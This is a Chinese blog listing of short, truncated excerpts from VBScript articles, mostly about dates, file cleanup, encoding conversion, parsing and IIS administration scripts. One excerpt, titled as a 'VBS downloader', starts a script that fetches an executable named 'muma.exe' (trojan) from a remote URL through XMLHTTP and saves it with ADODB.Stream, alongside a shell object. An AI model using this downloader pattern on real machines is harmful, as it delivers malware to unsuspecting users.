使用VBS获取当前日期的前一天 并修正输出格式

2017年02月06日 179 阅读

获取当前日期方法一：复制代码 代码如下:Currentdate1=date（）msgbox Currentdate1获取当前日期方法二：复制代码 代码如下:Currentdate2=year（Now）&"-"&Month（Now）&"-"&day（Now）msgbox Currentdate2补充一个：如果想获取的日期前面是1位数的前面补0的写法，例如 2016年5月16，如果目录是2016516不如20160516更好复制代码 代码如下:ystr=yea...

vbs qq自动登录脚本改进版

2017年02月06日 115 阅读

复制代码 代码如下:On Error Resume Next Dim WshShell, QQPath, QQselectset wshshell=createobject（"wscript.shell"）set fso=createobject（"scripting.filesystemobject"） key="HKLMSOFTWARETencentPlatForm_TYPE_LIST1"QQPath=wshshell.regread（key&"Typ...

vbs qq自动发信息增强版

2017年02月06日 168 阅读

运行前请确定你的电脑安装了word。复制代码 代码如下:i=0set wshshell=createobject（"wscript.shell"）Set objWord = CreateObject（"Word.Application"） Set colTasks = objWord.Tasks do while i<30For Each objTask in colTasks if left（objTask.Name,1）="与" thenwshs...

vbs实现的保存剪贴板中的文本并编辑或保存

2017年02月06日 133 阅读

保存剪贴板中的文本.vbs原理就是首先判断是否存在同名文件，存在就名字后面+1，然后将剪贴板的内容保存到自定义扩展名的文件里复制代码 代码如下:set fso=createobject（"scripting.filesystemobject"） : name=1Dim nana=Inputbox（"请输入拓展名:","拓展名","txt"）while fso.fileexists（name&"."&na）=truename=name+1wendset o=...

使用vbs脚本定时删除N天前的文件

2017年02月06日 179 阅读

脚本放在定时任务里代替服务定时执行一些操作比较方便，下面是实现删除文件夹下N天前创建的文件的vbs脚本，在配置文件 DelFolderList.txt 中配置要删除的文件路径，ONLY-DEL-FILES 下的路径 是只删除其下的文件，不删除其内的子目录的文件。DEL-FOLDER-FILES下的路径 是删除其内文件及其子目录内的文件，子目录为空时删除目录，删除的文件list 放在log文件夹内。例配置文件DelFolder.txt 内容如下：ONLY-D...

vbs 定时删除功能实现代码

2017年02月06日 172 阅读

参考代码一：复制代码 代码如下:Function DeleteLog（ ） Dim objFSO, objFolder, strPath, targetFSO, subFSO, DirPath DirPath = createobject（"Scripting.FileSystemObject"）.GetFile（Wscript.ScriptFullName）.ParentFolder.Path&"Log" Set objFSO = CreateObje...

VBS下载者（通过vbscript实现文件下载）

2017年02月06日 248 阅读

一、VBS下载者：复制代码 代码如下:Set Post = CreateObject（"Msxml2.XMLHTTP"）Set Shell = CreateObject（"Wscript.Shell"）Post.Open "GET","http://www.jbzj.com/muma.exe",0Post.Send（）Set aGet = CreateObject（"ADODB.Stream"）aGet.Mode = 3aGet.Type = 1aGet....

Wscript 和 Cscript 运行脚本的区别详解

2017年02月06日 213 阅读

WSCRIPT与CScript区别 窗口中运行，WSCRIPT;命令行中运行，CScrip; cscript因为把输出放进了控制台 所以可以对它重定向 方便程序调用 wscript直接用窗口输出 适合调试程序和编写小工具 在windows下不用cmd的话cscript的输出会一闪而过 大多数情况下，列在下表中的选项适用于 WScript.exe 和 CScript.exe。例外情况会加以注释。参数 说明//B 批处理模式；隐藏用户提示和脚本错误在命令行中的...

VBScript版的PHP extract（）函数

2017年02月06日 151 阅读

写过PHP的都知道，其有个extract（）非常方便，可以便捷的将字典转换为变量，当然到ASP中则要受限很多，特别是VBScript脚本，本文叙述的就是一种转换的思路，可以实现类似的功能。下面我就直接提供ASP版本的extract代码吧：复制代码 代码如下:"" ASP/VBScript Dictionary extract" Author: WangYe" For more information please visit" " This code is...

vbs脚本实现批量转换文件编码

2017年02月06日 142 阅读

最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码，我们知道Linux系统中文本文件默认编码格式是UTF-8，而Windows中文系统中的默认编码格式是Gb2312。系统内的编码格式有所区别倒无伤大雅，关键的是SourceInsight竟不支持UTF-8，导致项目代码内的中文注释全部乱码！既然SourceInsight不支持UTF-8编码的文件，那我们就得想办法将UTF-8的代码文件转化为GB2312编码的。首先想到的是到网上搜...

vbs 解析json jsonp的方法

2017年02月06日 157 阅读

我收集了三种常见 json jsonp 的格式，因为很多人找我说如何用正则提取某个字符串，我看了下，要么是json，要么是jsonp，正则简直浪费，比如那种空间里说说的数据，上百条的信息，你正则个P，而且还有回复里的格式也差不多的，所以最好的方法还是解析。先来看看常见的三种吧：酷我音乐用户信息 json 格式http://kzone.kuwo.cn/mlog/UserVal?uid=1237357&from=profile{"work":4,"fa...

vbs 解析html文档的方法（htmlfile）

2017年02月06日 162 阅读

关于VBS采集，网上流行比较多的方法都是正则，其实 htmlfile 可以解析 html 代码，但如果 designMode 没开启的话，有时候会包安全提示信息。但是开启 designMode （@预言家晚报 分享的方法） 的话，所有js都不会被执行，只是干干净净的dom文档，所以在逼不得已的情况下开启 designMode 一般情况保持默认即可。Set html = CreateObject（"htmlfile"）Set http = CreateObj...

iisweb.vbs iis网站管理脚本使用介绍

2017年02月06日 132 阅读

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2Iisweb.vbs：IIS 网站管理脚本 在运行带有 Internet 信息服务 （IIS） 6.0 的 Windows Server 2003 的服务器上创建、删除和列出网站。也可以启动、停止和暂停网站。iisweb.vbs（一般都是在 s...

iisvdir.vbs iis虚拟目录管理脚本使用介绍

2017年02月06日 128 阅读

IIS管理器也是通过调用iisvdir.vbs来实现虚拟目录的创建和删除的。我们可以通过命令行的方式来执行iisvdir.vbs脚本1）创建虚拟目录： cscript c:windowssystem32iisvdir.vbs [/s server] [/u username /p password] /create [virtualRoot] Alias PhysicalPath2）删除虚拟目录： 1cscript c:windowssystem32iis...

Iiscnfg.vbs IIS 配置脚本

2017年02月06日 123 阅读

导入和导出本地或远程计算机上 Internet 信息服务 （IIS） 配置数据库的所有或选定元素，或者将整个 IIS 配置（配置数据库和架构）复制到另一台计算机以复制配置。Iiscnfg 执行下列功能：若要查看该命令语法，请单击以下命令：iiscnfg /export以加密或未加密格式将所有或部分 IIS 配置数据库复制到 XML 文件。然后可在导入操作中使用 XML 文件来将所有或部分配置数据库复制到其他 IIS 配置。语法iiscnfg[.vbs] /...

使用 iisweb.vbs start 启动网站的方法

2017年02月06日 169 阅读

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1IIS 在创建网站时自动将其启动，除非管理员用 /dontstart 参数明确禁止它。管理员可能会禁止自动启动，例如，留出一定的时间使站点添加到 DNS。管理员还可能为了排除故障而暂停或停止网站。在类似情况下，可使用命令行脚本 iisweb.vbs（存储在 systemrootSystem32 中）启动...

使用 iisweb.vbs 删除网站的方法（支持批量删除）

2017年02月06日 150 阅读

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1可以使用命令行脚本 iisweb.vbs（存储在 systemrootSystem32 中）在运行带有 IIS 6.0 的 Windows Server 2003 家族成员的本地或远程计算机上删除 IIS 网站配置。如果打算将站点移到新的 URL 或服务器，或者要完全删除该站点，则该命令是很有用的。站点...

使用 iisweb.vbs 列出网站的方法

2017年02月06日 132 阅读

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1管理员经常需要检查他们的网站的状态和/或属性。要检查网站的状态，可使用命令行脚本 iisweb.vbs（存储在 systemrootSystem32 中）查询或列出远程或本地计算机上的网站。重要事项 只有本地计算机上 Administrators 组的成员才能运行脚本和可执行文件。作为安全性最佳操作，请...

使用 Iisweb.vbs 暂停网站的方法

2017年02月06日 145 阅读

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1除了网站让现有的过程继续完成外，暂停网站与停止网站类似。如果突然停止网站会导致用户产生严重问题，管理员可能希望使用该功能进行故障检修。可使用命令行脚本 iisweb.vbs（存储在 systemrootSystem32 中）无限期暂停网站。暂停网站会禁止 Internet 服务接受新连接，但是不影响已经...

使用 Adsutil.vbs iis管理脚本

2017年02月06日 123 阅读

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1Adsutil.vbs 是一个 IIS 管理实用程序，它通过结合使用 Microsoft Visual Basic Scripting Edition （VBScript） 与 Active Directory 服务界面 （ADSI） 来处理 IIS 配置。该脚本应通过随 Windows 脚本主机一同安...